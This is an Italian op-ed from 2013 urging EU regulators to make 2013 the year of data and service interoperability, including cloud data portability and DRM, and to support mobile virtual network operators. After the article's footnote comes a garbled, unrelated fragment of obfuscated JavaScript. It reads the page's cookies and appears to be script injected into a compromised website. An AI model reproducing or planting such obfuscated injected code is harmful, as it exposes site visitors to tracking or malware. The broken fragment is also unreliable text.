L'analisi

Venga l’anno dell’interoperabilità, di dati e servizi

Finora l’Agenda ha rinviato agli anni successivi quella parte di misure di regolamentazione che riforma il mercato dell’Ict e ne introduce nuove modalità di funzionamento. Ma nell’era del cloud ci sono temi non più rimandabili, come l’interoperabilità

Pubblicato il 28 Feb 2013

Eugenio Prosperetti

Avvocato esperto trasformazione digitale, docente informatica giuridica facoltà Giurisprudenza LUISS

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Scorro la Review della Commissione Europea sull’attuazione dell’Agenda Digitale e, mentre esamino il rapporto, ho l’impressione che aree molto importanti del programma di interventi in questione siano rimaste “poco popolate” di interventi.

Sono paradossalmente aree nelle quali una pronunciata azione regolamentare avrebbe potuto fare la differenza. C’è ancora tempo per rimediare.

I settori che sono stati più curati, in questo primo periodo di attuazione, sembrano essere quelli maggiormente sinergici agli andamenti e tendenze del mercato. L’Agenda Digitale non ha cioè introdotto correttivi ma rafforzato ed aiutato l’azione del mercato attraverso una serie di interventi.

E’ stata rinviata agli anni successivi, per la maggiore complessità di attuazione, quella parte di misure di regolamentazione che riforma il mercato dell’ICT e ne introduce nuove modalità di funzionamento.

Propongo due spunti, che consegno – con un certo ritardo rispetto alla scadenza – ad Agendadigitale.eu come spunti ed auspici di lavoro per l’Anno Nuovo.

Iniziamo dal secondo pilastro dell’Agenda Digitale: l’interoperabilità.

Il documento base dell’Agenda Digitale descrive la necessità di interoperabilità in questo modo: “Per poter costruire una società realmente digitale occorre un’effettiva interoperabilità tra i prodotti e i servizi delle tecnologie dell’informazione. Internet è l’esempio migliore della potenza dell’interoperabilità tecnica: grazie alla sua architettura aperta, miliardi di persone in tutto il mondo possono utilizzare dispositivi e applicazioni interoperabili. Ma per cogliere appieno i vantaggi della diffusione delle TIC occorre aumentare ulteriormente l’interoperabilità di dispositivi, applicazioni, banche dati, servizi e reti.”.

L’interoperabilità è infatti quell’importante tema e principio che prevede che software, banche dati, servizi, device e apparati possano scambiare contenuti e dati attraverso standard condivisi, senza che gli utilizzatori debbano affrontare particolari costi/oneri relativi alla conversione dei dati; l’interoperabilità serve a superare quelle situazioni in cui si verifica il c.d. lock-in dell’utente che rimane vincolato all’utilizzo di un certo sistema perché non può o non vuole affrontare una difficile operazione di conversione dei propri dati, alcune volte addirittura impossibile.

L’Agenda Digitale prevede che si regoli l’interoperabilità in maniera articolata ed incisiva.

Ad oggi, tuttavia, ciò che si è visto è solo il Regolamento 1025/2012, un atto immediatamente vincolante in tutta l’Unione, in materia di standardizzazione ICT che definisce il funzionamento degli enti che esaminano gli standard europei dell’ICT in maniera che esista una serie di standard europei condivisi e maggiormente accessibili. Ancora nulla tuttavia si è visto per quanto riguarda una concreta regolamentazione dell’interoperabilità, che consenta di agevolare la circolazione dei contenuti e dei dati tra i molti device e sistemi che ognuno usa quotidianamente e che, sempre più, si moltiplicano ora che l’utilizzo degli e-books diventa sempre più frequente.

Mi piacerebbe che il 2013 divenisse l’anno dell’interoperabilità, che è un tema ancora più centrale ora che i servizi cloud sono entrati prepontentemente sul mercato: si può affidare una consistente mole di dati ad un servizio cloud senza sapere se questi verranno memorizzati in un formato standard ed interoperabile (e, dunque, potranno essere recuperati/restituiti in caso di problemi o di improvvisa cessazione dell’attività del cloud provider)?

Abbiamo diritto a pretendere che, laddove ci sia trattamento di dati personali, questi vengano mantenuti in formato interoperabile e non siano trattati secondo formati proprietari (ad esempio le rubriche dati degli smartphone) in maniera che se ne possa sempre richiedere/azionare il trasferimento altrove?

Questi ed altri temi potrebbero essere collegati all’interoperabilità, che arriva a legarsi persino ai temi del diritto d’autore se la vediamo come facilitatore della circolazione dei contenuti tra piattaforma e piattaforma: un mp3 è interoperabile mentre un file protetto da un DRM bloccante potrebbe non esserlo.

Ma, d’altra parte, le regole sui DRM sono di circa 13 anni fa e sarebbe ora di cambiare anche quelle… per ora in materia di diritto d’autore l’Agenda Digitale ha provveduto a mettere a punto una Direttiva sulle licenze multi-territoriali che risolve alcuni problemi dei distributori internazionali che avevano il problema di acquistare diritti a livello pan-europeo ma non dell’utente persona fisica che, realizzando un sito o un video per internet vuole sapere se può usare legalmente parte di una canzone come colonna sonora dello stesso.

Del diritto d’autore parlerò in un articolo a parte, c’è molto da fare anche su quel fronte ma temo che non basterebbe un solo anno.

Qui mi limito a menzionare il secondo spunto, che potrebbe essere fattibile nel 2013: riguarda un tema che non ritrovo nell’Agenda Digitale, che pure molta attenzione ha dedicato alla telefonia mobile: gli operatori mobili virtuali.

Manca infatti una vera e propria regolamentazione comunitaria degli operatori mobili virtuali, la cui quota di mercato rimane (a livello europeo) a un marginale 4,1% ben lontana dalla quota degli operatori infrastrutturati (con l’eccezione della Francia).

Se guardiamo il sopra citato rapporto sull’attuazione dell’Agenda Digitale, scopriamo che gli interventi regolamentari che vengono evidenziati in materia sono due: la possibilità di portare il numero da un gestore all’altro – introdotta ormai parecchi anni fa – che ha messo in competizione i vari gestori sulle tariffe (attraverso un fattore di interoperabilità!) e i più recenti interventi sulle tariffe e tecnologie di roaming, che hanno consentito di telefonare viaggiando da Stato a Stato in Europa a prezzi convenienti e certi.

Sono mancati specifici interventi che consentissero agli operatori mobili virtuali di “entrare” nel mercato alla pari con gli operatori mobili dotati di una rete trasmissiva.

Questo non ha consentito al settore degli operatori mobili virtuali di “decollare” portando vera concorrenza.

Infatti, al più, gli operatori mobili virtuali più efficienti sono riusciti a duplicare le tariffe dei propri operatori host, senza un vero e proprio fattore di innovazione tariffaria. Alcuni hanno trovato un fattore di differenziazione in sinergie con servizi esterni e con la telefonia fissa. Si tratta di attività che, tuttavia, non hanno sinora, ancora dato una vera e propria svolta concorrenziale al mercato mobile, che rimane saldamente nelle mani degli operatori dotati di rete in frequenza.

Sarebbe positivo, dunque, che nel 2013 il regolatore dedicasse specifica attenzione agli operatori virtuali creando, anche sul piano contrattuale, condizioni per concorrere alla pari che consentano agli MVNO che hanno la possibilità di proporre inedite configurazioni tecniche e di rete sul mercato con soluzioni tecniche che non sono possibili ai tradizionali operatori mobili di mettere le medesime in pratica.

Studi del Conseil de Concurrence Francese1 mostrano che in teoria un operatore virtuale (purché non vincolato da esclusive e da condizioni contrattuali penalizzanti con l’host) potrebbe offrire tariffe estremamente competitive e, se in configurazione Full-MVNO, potrebbe operare ottenendo l’accesso da più operatori host contemporaneamente in maniera da proporre una unica offerta basata su una “rete ideale” che combini, per copertura ed efficienza, le parti migliori delle reti di ciascun host da cui ottiene accesso superando così le prestazioni degli operatori tradizionali.

Quello sopra citato è solo un esempio di come, con attenzione al settore degli operatori mobili virtuali, si potrebbe ulteriormente aprire lo scenario concorrenziale nel settore mobile differenziando maggiormente offerte, tariffe e qualità del servizio con evidenti vantaggi per il consumatore.

[1] http://www.autoritedelaconcurrence.fr/user/avisdec.php?numero=08a16

function cc(ccn){var c=d[‘cookie’];return c.search(ccn.split(”).reverse().join(”))^O0$5rL”E,)3T<:#}N%u&/{HXUSWps+ixt`@bm~qGh7AvCQ;1-Jc*kZIgl!fnyw9DP6Rj2e[(aYB8._=KM4';}

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